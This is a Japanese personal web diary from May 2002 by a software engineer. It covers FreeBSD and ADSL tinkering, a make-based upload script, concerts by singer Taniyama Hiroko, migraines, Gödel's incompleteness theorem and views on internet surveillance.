でもって、その時は CVS でも使おうかと思ったのだが、面倒臭いし、そもそも CVS って程の立派なページではなーい(^^;。
そこで、make を利用することになったのであります。ただし、Makefile を手作業で作るのは面倒だし、間違えるので Makefile を作るためのコマンド makemake.sh がこれっ。
上記の makemake.sh を実行して出来上がる Makefile がこれ。つまり、今作業しているディレクトリの「横」に orig というディレクトリを作成して、そこにバックアップしたファイルの時刻と、こっちのファイルの時刻を比較しているんだ。それで、更新されているファイルを発見したら、時刻を保存したバックアップを行って、後で ftp で使う put コマンドを出すのです。
例えば、今、make -s と実行すると、出力はこれ。これに、適当なヘッダを付けて ftp に食べてもらえばいいのです。よーし、やってみようー。
↑うまくいった様で(^^;。
５月の日記を読み直してみると、文体の統一性のなさ、テーマの統一性のなさ、誤字脱字の多さ、その時の気分がもろに出ちゃってる等すばらしいですなあ(^^;。こればっかりは性格だから直しようがないね。それにしても量が多すぎる。書き始めると止まんないんだよね。←ほら、もう危ない、イエローカード(^^;。

2002年5月30日(木)

今日はイベントなので、１６時頃会社を出よう。明日の納期は一時的に忘れてね。谷山さんが歌うのを聴けるのは２回目です。
これが済むと６月はどうせサッカー騒ぎになって、幸いサッカーには興味がないんで、結構落ち着くと思うんだ。ガキとおんなじで、イベントが近づくと、落ち着かなくて仕事にイマイチ身が入らないんだよね。

それでも、前回のイベントで初めて谷山さんに会えてずいぶん落ち着いたんだ。あのときは、本当にうれしかったもんな。ほんとに、いつまでも子供なんだから。
というわけで、谷山浩子さんのミニコンサートに行ってきました。詳細は谷山浩子さんのページで。今日はいい曲をたくさん聴けたし、親切にしていただいたし、いろんな面で最高の日でした。
↑なんか、読み直すと文章の気分がすごく変化している。谷山さんを聞いた後の文章は、すごく元気がでてる(^^)。

2002年5月29日(水)

実は BSD の「とんでも君」に関して少々反省しているのである。つまりー、、、確かに彼のページを見ると「トンデモナイ」ことばっかり書いてあって、特に「論文」・「裁判資料集」などを読むと、「この人まずいなあ」と思うのは普通の感覚であると思うのである。
あげくの果てに、FreeBSD メーリングリストに、非常にレベルの低いプログラムを提示して、「動いたり動かなかったり不安定だ。OS や Compiler のせい？」などと言うのであるから、私だって、
メモリー壊してるんじゃないかな？
という意味の応答をしたのは当然なのである。この件に関しては、全然問題がないと思う。仮に彼のページを見ていなくても、この様な応答を返したと思うからである。
ただ、その後何回か余計なちゃちゃをいれちゃったし、このページでも「困ったもんだ」的な表現をしたのは事実である。「いい先生にみてもたった方が」という発言も半分は正しいと思うんだけど、あんまり良くはなかったと思う。
でっ、なんでこんなことを長々と書くのかというと、彼のコラムを面白半分に読んでいたら、これを見てしまったのである。これは、少なくとも私が当時感じた、気の毒だけど「アメリカだって。。。」という感覚にくらべると、非常な切実さと、他人の不条理な死に対する怒りを感じるのである。
「もしかして、彼が壊れちゃったのって、他人にやさしすぎるから？」と思って、彼の書いたものをよく読んでみると、次の点に気が付いたのです。
- 自分のとんでもない論文が掲載されないからといって、物理学会に訴訟をおこしているのは、そりゃはた迷惑で大馬鹿であるが、考えようによっては面白いじゃないか。なーに、物理の人だって、迷惑だといいながら結構楽しんでるに違いないし。
- 彼の文章を読んでいると、とにかく誇大妄想で、被害妄想であるが、結構醒めている部分もあるんだな。
- 彼は常に(彼に対する)「権威」に対して反発しているのであって、私が読んだ範囲では、弱者に対する攻撃はまったく見つけられなかった。
- そりゃ、BSD 界一番親切に答えてくれた「任天堂しらいさん」を逆怨みして、悪口を書くのは本当に「とんでも」なんだが、彼にとっては、「しらいさん」は BSD という権威の象徴であったんだと思う。
というわけで、とてもお友達にはしたくないが、彼なりの良さも発見できたと思うのである。もうすこし「被害妄想」は直した方がいいと思うけどね。

少なくとも、「にちゃんねる」で、彼を個人攻撃するスレッドをつくって喜んでいる大馬鹿どもに比べればよほどイイヤツなのである。

私も面白がって周りの人といろいろ笑っちゃったことは事実なんで、あまり言えないんだが、それにしても、公共の本人に聞こえる所で大勢でよってたかって悪口をいうのはレベルが違う話だと思う。しかも、悪口を言う方は匿名という安全域で発言しているのである。

KNK 君。これからも、とんでも文章をどんどん書いて楽しませてちょうだい。
そして、今度は 0.9999.... は 1 じゃないという「フィールズ賞級の大発見」で数学学会も訴えてくれ～(^^)。
いやー、それでも、やっぱり、関わりたくはないねえ(^^;。
この２日間 KNK せんせ、元気がないのである。あんににまめだった更新やならいし。まったく、みんなでよってたかっていじめるから。しかも、だれかにカウンターリセットされちゃってるし。これ以上個人攻撃はやめてほしいのであります。

と思って、家に帰ってみたらちゃんと復活してるではないか。別に心配するまでもなく元気なんだな(^^;。それはともかく、 nxt のどこが便利なんだか全く理解出来ないんだ(^^)。
明日はイベントだー(^^)。

2002年5月28日(火)

そういえば、あさって山野楽器でイベント。やばい、納期と重なってるし、まだ出来てなーい(^^;。えーい、その辺にちょっと出かけるふりをして抜けだして、最悪 21時頃会社にもどろ。半休は承認されてることだし。
最近 FreeBSD ノートの調子がいまひとつ。
この前、ふたを閉じてほっといたら固まってた。これが 2 日連続。最新の CVS とってきて make したけど、直ってんだかどうだか。
起動後最初に mp3 を聞こうとすると、最初にすごく大きい音。次に極端に小さくなって、ついには全く聞こえなくなるんだ。もう一度やりなおすと後は OK なんだけど。
ハードのせいなのか、他の原因かわかなないんだ。なんか、やなのは、この前電車の中でかばんごと落しちゃってからなんだよね(^^;。
今日のお昼休みは、「冷たい水の中君と歩いていく」。どうしてこんなに次々と美しい音楽が出来るんだか(^^)。

2002年5月27日(月)

私の向いの席で仕事している O さんが偏頭痛で早退してしまいました。偏頭痛では私も大変苦労したのです。

症状その１
文字が見えにくくなってくる。一点だけ見えない。中心が光っている。
症状その２
見えないで光っている部分がぎざぎざの円形に広がっていく。円の内部と外部は見える。
♪「あんまりしずかにかがやくので、ぼくのからだはこわれていく」 (c)谷山浩子さん。
症状その３
見えない円周部分がどんどん広がって視野から外れる。すなわち視力はもとにもどる。ここまで約３０分から一時間。
症状その４
症状その３とほぼ同時に、目の奥あたりから猛烈な頭痛。痛みは筋肉痛の様にあまり不快感がないものもあるが、偏頭痛の場合非常に不快。
症状その５
症状その４とほぼ同時に、吐き気、皮膚の違和感、気分の悪さ等、不快症状のオンパレード。ひどい車酔いに猛烈な頭痛が加わった感じ。これが、数時間から半日継続。つらいんだナ、これが。
市販の頭痛薬なんて全然効果がないんで、ひたすら横になって嵐がおさまるのを待つのみ。
この様に非常につらい症状なので、もし近くの人が偏頭痛の発作を起こしたら、ゆっくり休ませてあげましょう m(__)m 。
わたしは、上記の症状を小学生の頃から体験しているので、いまさら驚かないんですが、もしこの年になって症状が初めて出たら、絶対に脳の血管が切れたか詰まったかと思って、あわててしまうと思います。
面白いことに 30 代後半から１、２、３の症状は出ても４以降の症状がでなくなってきたのです。少々痛んでもアスピリンで直る程度になりました。だから、最近は１の症状が出てもあんまりがっかりしなくなりました。若いころは、１の症状がでたら、それから半日間地獄モードなので本当にがっかりしました。周期は短いときで１、２週間に一回、長い時で数か月であります。ひと仕事終ってほっとしたときに良く出るのであります。
車を運転している時とか、なにかに集中しているときには絶対に発作はおきません。

2002年5月26日(日)

ザ・スクープを見ようとしたら、今週は配信なし。
今日は例のごとく三女のサイエンス倶楽部横浜。８時半に家をでて１６時に帰宅。本当にピンホール写真ができていました(^^)。
F1 モナコグランプリ。クルサード頑張る。モナコはグランツーリスモで結構遊んだので、コースが分かって楽しいのである。ゲームでも接触なしでオーバーテイクするのは不可能に近い。
私が学生の頃、数学の古い学会誌をみると、
世界最高宇宙数学研究所(所長・某)
１７人のノーベル賞受賞者の謎を解く超大域的宇宙数学理論
という講演がその日の朝一番の発表なんていうのがあった(^^;。私がその学会誌をみた頃は、その講演者はもう亡くなっていたという話だったので、おそらく 1960年後半から1970年前半ころが「全盛期」だったと思う。
のんびりしていた時代だったので、数学の学会も寛容だったのである。もちろん、「この講演が終ったらみんな集まればよい」ということで、朝一番だったわけ(^^)。

ところが、物好きとか野次馬はどの世界にもいるわけであり、もちろん数学の世界も例外ではないのである。「ちょっと見にいこう」と朝一番眠い目をこすりながら、見に行っちゃったひとがいるのである。そうすると、世最研の所長は喜んじゃって、とくとくと自説をとなえて、「そうですね」なんて言おうもんなら、「じゃあそこの喫茶店でもっと詳しいお話を」となって大変だったそうである(^^;。
ただ、聞いた話しでは、この所長は、そりゃ所長ったって一人しかいないんだけどね、自分の学説を一生懸命説明する以外は、非常に紳士的ないい人であったそうな。
そのあたり、同じく変な学説を発表したがるといっても BSD メーリングリストの「とんでも君」とは全く違うのである。
でもって、所長さんの名前とか忘れちゃったのと、色々思い出したいので、 世界最高宇宙数学研究所をインターネットで検索しても全くヒットしないのです。それっぽいのを入力すると中国や台湾のサイトばっかりヒットするし(^^;。
だれか、このことに詳しいかたがいらっしゃったら教えて頂きたいのです m(__)m 。
谷山浩子さんの「ここは春の国」をまた聞く。このアルバム本当に好きになっちゃったです(^^)。

2002年5月25日(土)

「時の少女」を聞く。「静かに」は、スローテンポでじっくり聞かせてくれる。好きな曲です♪
スタジオ録音とライブの Memories を聞き比べるのも楽しいです。
一般に Memories の演奏の方が、ライブで迫力があるので、自分の好みかと勝手に想像していたんですけど、スタジオ録音の方が抑制された表現で感動的な場合も多いです。
一枚一枚じっくり聴き込むには、あんまりまとめて買いすぎない方がいいんだろうけど、なんせかなり古いものなんで、売り切れがこわくてねえ(^^;。6月のボがでたら、手に入る CD は一気だね。
時の少女、どの曲も、テンポの設定、音の強弱の設定やアレンジがいいですねえ。ご本人が、「次々に歌ができるようになって」と書かれているのもよく分かります。このアルバムから、次の「たんぽぽサラダ」にかけて、谷山さん躁モードに突入であります。
有名な「てんぷら★らんらいず」初めて聞きました(^^:。
最後は「マイケルという名のパン屋さん」。ふぁー、眠くなってきた。そろそろ寝よっ。←今土曜の朝４時(~~)。
朝8時半ころ、突然奥さんが「朝マックでマフィンセット食べに行こう」と言い出して、三女と奥さんとマックへ。長女と二女はまだ寝てたのでマックのお土産。
某 BSD メーリングリスト、たまに「とんでも君」が現れるんだが、今回のは史上最強かもね。確かに BSD 系のメーリングリストって下手な質問をするとこわい面があることは否定出来ないんだけど、今回の「とんでも君」はちょっと(^^;。また、BSD の人って結構真面目なんで、まともに相手しちゃうんだよね。最初の質問メールの文面を見ただけで、ちょっとおかしいかなと感じないとねえ。だれもメーリングリストでは言わないけど、ちゃんといい先生に診てもらうのが一番だと思います。これが、一連のスレッド。私も余計なちゃちゃいれちゃったし(^^;。
Jさんのページを見ると、LD プレイヤーがとうとう製造中止とのこと。家にはパオイニアの LD プレイヤーがあって、確か 15 年位前に買ったもの。もう CD は認識しません。LD だけ。
で、壊れてしまうと何が困るって、グレン・グールドの、
The Glenn Gould Collection I,II
が聴けなくなのである。I が6枚組、IIが2枚組のお宝なのです。ピアノを弾きながら完全に「イッチャッテル」んだよね。特にベートーベンの作品 110 の 3 楽章のフーガなんて、演奏も表情も絶品なのである。それにしても、どんな難しい曲でも、一度楽譜を見ると、あとは練習なして暗譜で自由に弾けるとは。。。
こういう 20 世紀の遺産ともいえる貴重な演奏は、ちゃんと DVD 化して下さいよ。ただ、うちって DVD の再生装置 PlayStation しかなくて、音がノートパソコンの mp3 より劣ってるんだよな(^^;。

2002年5月24日(金)

谷山浩子さんのページCDリストでMemories の曲名リンク作成。 Memories の曲は原典のアルバムが分からなくことがあるので、後で元アルバム名追加の予定。最近全然曲名が覚えられない。そりゃ、20年分を3ヵ月で集めたりするから(^^; 。
Memories を聞いたのが決定的な転機だったのだけど、特に「がつん」ときたのは 2 枚目の方かな。
海の時間
王国
あたりで、かなり衝撃があった記憶が。海の時間は旋律のきれいさと、歌詞が H なのに驚いた(^^; 。今は、他にも好きな曲がたくさんあるんだけど(^^)。

2002年5月23日(木)

今日の朝 9時過ぎに、会社から自宅の NetBSD/sh4(性能は極悪) ルータにログインしたら 8Mbps に切り替わっている様である。さっそく ftp で ftp.jp.freebsd.org の大きいファイルをとってみると、
5042087 bytes received in 00:26 (183.42 KB/s)
おお、1.5Mbps 位出ているではないか。伝送効率を考えると 1.6Mbps 位は出ていそう。というわけで、かえって遅くなる心配もしたが、8Mbps に変更したのは大正解であった(^^)。 NTT さん、手続きはいろいろ笑わせてくれたが、手続きが終ったあとは手際が良かったのである。
しかし、8M の商品を購入して 1.5M で喜んでいるって、他の世界では考えられない(^^; 。
ホームページ上で、ADSL 関連の NTT の対応が遅いなど、すごく熱くなって怒っている人がいて、電話やメールで苦情を言いまくっている様である。これは逆効果だと思う。そういう、怒りのページを見ると、本人の性格にも問題ありと思うことが多い。
うまくおだてて、気分良く対応してもらった方が、結局早くなるんじゃないかな。仕事とおんなじだよ。
NTT とか JR とか色々悪く言われているが、現場の技術はしっかりしていると思う。
一番使えないのは、コンピュータ関連でどっかから天下ってきた人だね。
家にかえって、テストサイトで計測したところ、
データサイズ = 2 M バイト
受信時間 = 9.413 秒
平均速度（バイト/秒） = 212 k バイト/秒
平均速度（ビット/秒） = 1.7 M bps

という嬉しい結果(^^)。これは、期待以上です。体感的にもさすがに倍違うと本当に速いと感じます。まあ、遅いのは慣れないけど、速い方は３日でアタリマエになっちゃうんだよね(^^; 。

2002年5月22日(水)

家に帰ったら、NTT から 8M bps 用モデムが届いていた。これは 1.5M でも使えるはずなので、早速つなぎ直したら、なんとリンク速度が 1.2Mbps 位ありそう。今までのモデムでは 0.9Mbps 位だったのだ。これで、明日 8Mbps が開通して 1.5Mbps 位になればいいのだが。
もし、8M bps で遅くなった場合、モデムだけ新しいので、リンクは 1.5Mbps というわけにはいかないのだろうか。
家から NTT の局の情報に関しては、 NTT 東日本電話回線の線路情報で調べることができる。
私の家の場合、線路距離長が 2850m で伝送損失が 43db である。なかなか厳しい条件なのである。
それにしても、あんな細くて長距離の電話線でよく Mbps 単位の速度がでるもんだ。 RS232C のあの太いケーブルで非同期通信を行ってもせいぜい 115200bps であることを考えるとねえ。RS232C でも同期ならそこそこ速いけど。
ゲーデルの不完全性定理の記述、何か変(^^;。後で書き直す必要あり m(__)m 。
項目ごとに一行空けるように変更。 昨日の分から。少しは見やすくなるかなあ。
エイベックス (昨日 AVEX と書いた会社)が F1 トヨタのスポンサーになったそうな。トヨタの応援したくなくなるなあ(^^; 。

2002年5月21日(火)

昼休みに「しまうま」を聞く。このアルバムは本当に美しい。 「月が誘う」「ねこ曜日」の様な、ほんわか系の曲好きです♪
>>2002年5月18日(土) 気のきいた画像でも標準出力に出してあげればいいんだろうけど。
16x16 ピクセルの白画像を表示。これだと何にも見えない(^^;。新規の CGI はこれ。
UNIX Magazine 6月号 の記事によると、AVEX 発売コピーガード付きの「CD もどき」CCCDは、実際には通常の Linux のリッピングソフトで、時間はかかるが吸い出しが可能とのこと。いったい、これって何なの。音を悪くしているだけじゃないか。下らないもん作ってる暇があったら、いい音楽作れって(^^;。
もちろん、私は違法に CD をコピーしろと言っているのではなく、正当な手段で PC に mp3 等の形式で、音楽をとりこみたいだけなんです。mp3 なら 256 bit でエンコードしても、今持っている谷山さんの CD 全部が、ノート PC のディスク 2G に収まっていつでも聞けるんだ(^^)。
まあ、いくらなんでも、常に谷山さんという分けにもいかないので Bach、Mozart、Beethoven、Chopin なんかも入っているんだが。
そういう意味では、この FreeBSD ノート PC はきちんとセキュリティーを管理しないと、私自身が違法行為の手伝いをすることになるのだ。
それにしても AVEXのホームページ異常に趣味が悪い。
いよいよ風邪がやばくなってきた。子供が残したのに平気で手出しするのが悪いんだよな(^^;。

2002年5月20日(月)

diary のつづりが間違っていた(dialy)ので修正。 カッコわるー。daily と混同していたんだ。
みずほ銀行またトラブル。
そりゃー、いくらなんでも人海戦術の限界だろうなあ。そろそろ家の口座も別のところに移したいが、奥さんの話によると、みずほ以外は支店が少なく不便だとのこと。家に帰って、奥さんに話したら、「コーポレートの方だから関係ないでしょ」といわれてしまいました。

2002年5月19日(日)

>>2002年5月14日(火) 少し前からヘッドフォンの調子が悪かったが、いよいよ音がでなくなってきた。
本日購入(^^)。昨日までは中学生の二女のを借りていたのだ(^^;。
「ハリーポッターと賢者の石」の DVD が 2,500円位で売っていた。なんで、こんなに安いの？高校生の長女に聞いたところ欲しいそうなので購入することに決定。
新しいヘッドホンで聞いてみる。「冷たい水の中君と歩いていく」～うーん長ーい(^^; 。このヘッドホンはなかなか良い音である。
それにしても、会社に復帰して日記の量が減ると思っていたら、ますます増える傾向にある(^^;。どうしてだろう。
ゲーデルの不完全性定理の話なのである。
不完全性定理は、一度は証明を理解したことがあるが、次の 3 つの柱からなっている。
- 記号、論理式、証明手順等のコード化。つまりゲーデル数。
- 表現可能性の定義と、ある種の命題に対する証明。
- ゲーデルの対角化定理。
それで、脈絡もなく何を言いたいのかというと、この定理を最初に勉強したときは、「コード化」の部分を読んでも余り「すごい」という感じがしなかったのである。そして「表現可能性」の証明はやたら退屈で、「対角化定理」の部分が一番切れ味が良い感じがしたのである。。。
最悪の認識であったのである。
本当は上記の逆の順序で天才的なのである。記号はともかく、証明手順をコード化したというのは、本当にとんでもないアイディアである。そして、そのコード化により、「X は証明できて、Y が証明手順」という意味のことを、次の立場から考えることが可能になる。
- Y が X の証明になっている具体的な論理式の列。
- 上記の具体的コード化。これは、直観数論の世界で考えるのである。
- でもって、上記は具体的な数「 X,Y のゲーデル数」に対する「命題」なので、論理式として数論の中で記述可能(まだ表現可能とは言ってないよ)。これはコード化のご利益である。
- 表現可能定理は、上記が確かに表現可能で、真偽が数論の中での証明可能性と一致すると述べているのである。
つまり、X, Y が束縛されていなければ、X に対して Y が具体的に提示されているので、この論理式の証明可能性は真偽と一致する。ねっ、直観的には確かなんだけど、これらが厳密に証明されているのがすごいでしょ。
ここまでくると、後は確かに切れ味の世界なんだけど、次の様に進んで行くのです。
- Y を存在記号で束縛する。これは表現可能でなくなる。そりゃ、ポンと結果を見せられて、「なんか証明があって正しいんだ」といわれても、具体的な証明が与えられないでは困るというアタリマエのこと。
- 上記の否定をとる。これが「X は証明できない」という有名な論理式。
- でっ、その論理式を A(X) として、対角化定理を使うと、、、なんと、次の 2 つの結果が得られるのです。
  - A(0),A(1),A(2)... は個別に証明可能。
  - ところがそれを全称化した「すべての X に対して A(X)」は証明できない。
- A(X) の X に「「すべての X に対して A(X)」のゲーデル数」を代入すればおしまい。
という流れになるのです。こうしてみると、確かに、ゲーデルの不完全性定理って、アルゴリズムの定理でしょ。つまり、コード化と表現可能性が本質であり、対角化定理は技術的なもの。これが、最初証明を読んだとき見えなかったんだ(^^;。
もちろん、対角化の部分も、極めて巧妙な項の置換が行われていて、とっても面白いですよ。あと、「ゲーデルの不完全定理」は 20世紀の数学の偉大な定理としては、最も初等的な知識で理解可能だと思う。「厳密な証明」とは何かとか、形式数学と超数学の違いの認識さえちゃんとできれいれば、誰でも理解できると思う。なーんたって、わたしだって、証明をおっかけれたんだから(^^;。
そうは言うものの、形式数学と超数学の世界を行ったり来たりで、実際に読むときは、そのあたりをきちんと意識しないと、すぐにわけが分からなくなるのである。
↑典型的な「知っている人にしか分からない」説明だなあ。書いてるときは、気分良く書いてたんだが、読み直すと分かりにくいなあ。後で、別ページでちゃんと書きなおそう。

2002年5月18日(土)

トップページの見出しを変更。
簡単な CGI を作ってお客さんのアドレスとブラウザが分かるようにした。
それにしても <img src...> で埋め込むとは(^^;。もっと良い方法があるのだろうが分からない。まあ、本当はログをとるついでに、気のきいた画像でも標準出力に出してあげればいいんだろうけど。
上記の様な「ごみ CGI」では余り害を及ぼしようがないが、無限ループとまではいかないでも、非常に重い CGI を作る人がいたら BIGLOBE はどうするのだろう。当然 CPU 時間やメモリーのクオータがあるのだろうが、その基準が明示されていない。少なくとも見つけやすそうな場所には書いてない。方針だけでも分かりやすい場所にかかないと後でトラブルのもとになるんじゃないかなあ。
上記の処理をもっと見栄え良くしたのが BIGLOBE から発売されていて月に 150 円だそうです。それにしても、「新機能で、訪問者の OS やブラウザが分かるようになりました」と自慢しているとは(^^;。いったい、今までの機能は何だったのだろう(~~)。
谷山浩子さんの「ここは春の国」をもう一度聞く。 「あやつり人形」という曲があって、こういうストレート表現な曲はわりと好きなんですけど、これは Memories にも収録されている。私は CD(LP) の録音版より、ライブを集めた Memories の演奏の方が好きな場合が多いのだが、この曲の場合、 CD(LP かな) 録音版の方が切実な感情が表現されていて好きである。単なる推測であるが、谷山さん、この時期かなり深刻な恋愛をしていたのでは？考えすぎかも知れないけどね。あと、LP 版のヴァイオリンが切実さを出している面があるかも知れない♪
そういえば、三女になにかいやみを言ったら、 「首つり人形にしてやる」と言われてしまって、思わず上のメロディーが浮かんだことがあった(^^;。
♪♪ あたし悲しい首つり人形... ♪♪... 首以外の文字 (c) 谷山浩子さん(^^)
ちなみに、三女によると「首つり人形」とはてるてる坊主状態のことだそうです(^^)。

2002年5月17日(金)

昨日「FreeBSD はお休み」と書いたが、別の理由もあるのである。そもそも、私は「知識を体系化」して、整然・正確に記述するのが苦手なのである。その時々の気分で物を考えて、思考内容もあっちにいったり、こっちにきたりとまったく落ち着かないのである。だから、この日記の様に、その場の気分で書けるものは、書いていて楽しいしのであるが、FreeBSD のページは全然面白くないのである。いろんな話題別で、そこそこ面白そうなのがたまったら、それを独立させよう(^^)。
若い頃、数学を勉強していたというと「論理的思考」の持ち主と思う人もいるかもしれないし、昔は自分でもそう思っていたのだが、本当は論理能力なんて全然なくて「直観力」だけで生きているのである。
学生時代にはそのことに気が付かないで、「論理だけ」で数学を勉強しようとしてしまった。それが失敗だったと思う。あと、「こういうのも勉強した方がいいよ」と人に言われたことを聞かなかったり。もちろん能力はなかったが、性格が原因で数学の研究者になれなかった面もあると思う。まっ、今となってはどうでもいいんだけどね(^^)。
だから、「数学は論理的思考を養うために勉強するんです」なんていう先生がいるとどうかなとは思う。「数学は数学の能力を養うために勉強するんです」で十分だと思う。あえて理由付けをするなら、論理能力でなく抽象能力かな。
でもって、「もっと抽象的に考えましょう」なんて言うと、「抽象的」という言葉は世間では良い響きでないらしく、ひんしゅくを買うのである(^^;。
昨日、隣の席の S 君が x_x という変数名を使っていて、 y=x_x という感じの式が書いてあったので、横から「顔文字みたいだ」とちゃちゃをいれたら、括弧つけちゃって、
- y=(x_x);
S 君はお茶目なのである(x_x;) <--- Syntax error at line ...(^^)
午前中は平塚市に直行。私の家は藤沢市なので近いのだ。 12時に打ち合せが終って、ラーメン屋でラーメン餃子というものを食べた。もしかして、ラーメンの上に餃子が浮いているのかと心配になったが、そんなことはなかった。そりゃー、ワンタン麺じゃあるまいしねえ(^^;。会社は二子玉川にあるので、戻るのは大変であった。

2002年5月16日(木)

実は、谷山浩子さんのイベントの日に買った 3 枚の CD まだ聞いてない。やっぱり働いていると(アタリマエ)そうは時間がとれない。今「ここは春の国」の最初の曲「猫が行く」を聞きはじめた。
あっ、やっぱり若ころのもいいなあー。可愛い声が奏でる音楽が、すーっと心のなかに入ってくる♪
70年代の CD を買う日も近そう(^^)。
ベートーベンやモーツァルトだって、若い頃の音楽には、若さのみがもつストレートさ、純粋さがあり、私(私だけじゃないが)の心を引き付けるのである。そうして充実した中期の音楽があり、後期の簡潔さの世界に到達したのである。
変な比較かも知れないが、谷山さんの音楽にも同様な年齢別の流れがあると思う。教えてくれた人によると、最近の谷山さんの CD は以前ほどは売れていないとのこと。それは、例えば、内容的には深い作品110のピアノソナタが、作品57のソナタほど有名でないのと同じである。どちらも素晴らしいのである。
谷山さんの場合まだ全然「後期」とは思わないけど。
年齢による変化の件に関しては、ちょっと思っていることがあるのだけれど、もっと聞きこんで自分自身納得したら書きます。
それはともかく「ここは春の国」。表現のストレートさが本当にいいなあ。この前初めてご本人と会えて、熱狂が一段落と思ったがまだまだ続きそう。一段とのめり込みが(^^)。
今日から NetBSD 仮想記憶がらみで i386 のページングをちょっと真面目に勉強。うわー、やっぱりすごく面倒(^^;。
FreeBSD のページが全然進展しない。何か、内容もつまんないし。もう止めようかな(^^;。うーん、つまりー、だんだんコンピュータに興味がなくなってきたのです。
いやっ、興味がなくなってきたというより、最近は音楽聞いたり、この日記を書いたり、メールを読んだり書いたりという「普通」の使いかたになってきたのです。半年位前までは、コンピュータというのは、私にとって「開発」のために存在していたのだけど。今はこれ以上性能も必要ないとおもうし、「おたく」的観点からいうと、満足する性能が得られた時点で興味を失ってしまうんだよね。
もちろん、仕事は大切で、ちゃんと真面目に働かなければお話にならないのだが、それ以上に大切なものがいろいろあるということを最近実感するのです。
というわけで FreeBSD 関連はしばらくお休み。一応残骸は ~/FreeBSD/ に残してあります。

2002年5月15日(水)

一般相対性理論を数学的にきちんと定式化して発表したのは D.Hilbert が A.Einstein より 5 日だけ早かったとのこと。当然とはいえ Hilbert は「この業績は Einstein のものである」という意味のことを言ったらしい。何か、現代の「特許」争いをしているエセ学者に聞かせたい話。
私も、いままで発見された最大の「偶数」でも書き出して特許をとろうか。
えーい、、、
- 2^(ak(ak(100000000000,100000000000), ak(100000000000,100000000000)))
どだ、大きいだろー。ただし ak はアッカーマン関数であーる(^^;。
J さんより4月の日記にタグ閉じ忘れのバグがあるとのご指摘 m(__)m。
やっぱりモジラ以外で確認しないとまずいかなあ(^^;。
tar で x と c を間違えて、この２日間のデータを消してしまった。心がすさんで、30 分間仕事が手につかず。だけど修復始めたら 15 分で復活(^^;。前にも似たような失敗は何回かあるが、がっかりしている時間が長く、修復を始めると以外と早くもとに戻るのである。しかも復活したプログラムは前よりきれいになっている。
NTT から ADSL 8M に変更のメール。5月23日(木)が工事日。
今回は Content-type なしメール。 Mew で内容は読めた。それにしても、
「1.5M タイプのモデムを工事日の３日後に回収いたしますので玄関先等にお出し下さい。」とは。
出前のどんぶりじゃあるまいし(^^;。今回の一連の NTT 騒ぎは面白すぎ(^^)。
夜は L 社の K 社長と会う。彼の構想はいつも大きいのである。

2002年5月14日(火)

<hr> というタグを覚えたので、日記の日付の切れ目に横棒を引く(^^;。
↑基本的に生 HTML で書いてるのにこんなことも知らないのだ。
 <ul> 以外知らないんだ。TeX でいえば itemize しか知らない状態だね。
午前中 H 社を訪問したら、何と K さんが南極に行ってて帰ってきたばかりとのこと。4ヵ月間行っていたそうです(^^)。
少し前からヘッドフォンの調子が悪かったが、いよいよ音がでなくなってきた。
谷山さんの歌が聞けない(;_;)。買わなくては。だけど金欠(^^;。
昨日も書いたが、政府のインターネットへの介入。
「犯罪抑止」の名目で暗号を規制してくるに違いない。
- これらの法律は、決して皆さんの情報を盗み聞きするためのものではありません。
  犯罪防止のためにのみ使われます。
今や、政府は、電話の会話は聞き放題である。インターネットでの政府による盗聴はなんとしても防がなければならない。
政府が積極的に関与する前に IPsec をきちんと実装して普及させるべきである。現在の仕様ではまだ「鍵交換」の部分が複雑すぎて使いものにならない。 SP や SA がらみの検索処理も非常に重いのが実情である。ガンバレ「カメ」。
油断をおこたると、政府は ESP パケットを禁止するなり、政府公認の認証がない ESP パケットを「わいせつ物」とみなす法律をつくりかねない。
- これらの法律は、決して皆さんの情報を盗み聞きするためのものではありません。
  少年少女を犯罪から守るためにのみ使われます。

2002年5月13日(月)

>>2002年5月9日(木) NTT、、、 Mozilla ではだめなのか？
Windows の IE で入力したらコミットできた(^^;。
しかし申し込んで１月もたってなぜか Web 入力させられて、
- あくまでも「仮工事予約」のお申込です。(ママ)
とは(~~)。
家に着いてから、鳥越さんのザ・スクープを見る。
前にも書いたが、この様な番組をインターネットで見れるのはうれしいのだが、「地方局に配信できなくなったので仕方なく」インターネットで配信している状態である。なにか圧力がある様な気がする。
今日は田中真紀子特集。内容は真実をついていると思うが、例のごとく非難が集中しそうである。
外務省の件は出さなきゃいいのに。
首相、東京都知事は極めて危険な人物であるのになぜか人気があるのである。日本という国が非常に危険な状態になっている。
盗聴法・マスコミ規制法・有事法の 3 点セットで、またとんでもない道を歩みそうである。子供の世代にどの様な責任をとれば良いのか考えなくてはならない。
政府の次のターゲットはインターネットに対する規制である。政府に反対の意見の配信を止めようとするわけである。
政府はプロバイダーを自分の手中にしてしまえば良いのである。
その意味ではプロバイダーは分散していた方が、政府の干渉を受けにくくなり (国民にとっては)好都合なのであるが、プロバイダーというのは Poisson 分布の性質により、統合化・巨大化したほうが絶対に経済的効率がよいのである。困ったものである。
それにしても、官僚というのは気が長いものである。数十年がかりで、憲法違反の軍隊を既成事実化して、やはり数十年がかりで教育の質を下げて衆愚化を行うのである。

2002年5月12日(日)

三女理科教室３回目。例のごとく8時30分に家をでて、15時過ぎに帰ってきた。
今日はピンホールカメラだったそうで。次回は本当に現像をするとのこと。
私がやってみたいくらいだ。
昨日今日とイベントが多く、さすがに疲れた(^^;。
といいつつ F1 を見る。こっ、これは、、、バリチェロ気の毒(=_=)。後味悪い～。

2002年5月11日(土)

午前中はドラムの練習。
秋葉原石丸電気での谷山浩子さんのイベントにでかける。詳細は谷山浩子さんのページに。
それはともかく、衝動的に、
- お昼寝宮・お散歩宮
- 時の少女
- ここは春の国
を買った(^^);。もう一息で一通りそろいそうである。「静かでいいな　～谷山浩子15の世界～」だけは難しそうだが。
石丸電気ソフト館は初めて行ったのだが、大量の CD、DVD が置いてあった。本当は、クライバー指揮の「ばらの騎士」の DVD も欲しくなったのだが、いくらなんでも予算が(^^;。。。
なんせ最近谷山資金がすごいんで(^^;。
谷山浩子さんページの CD リストを更新。

2002年5月10日(金)

会社に復帰してからちょうど一週間がたった。
一ヵ月前とは全然集中力が違う。午前中だけで、休む前の一日分以上の仕事ができてしまう(^^)。
明日と明後日は会社は休みなのであるが、結構楽しいことが多く忙しいのである(^^)。
半年位前に ADSL を自宅に引いてから、会社との間を VPN で接続している。VPN は自社作成の NetBSD/sh4-NAT ルーターが面倒をみてくれる。設定はもちろん自分なんだけど(^^);。
安全にメールを読めるし、自宅から会社のスケデュール表にもアクセスできて便利である。
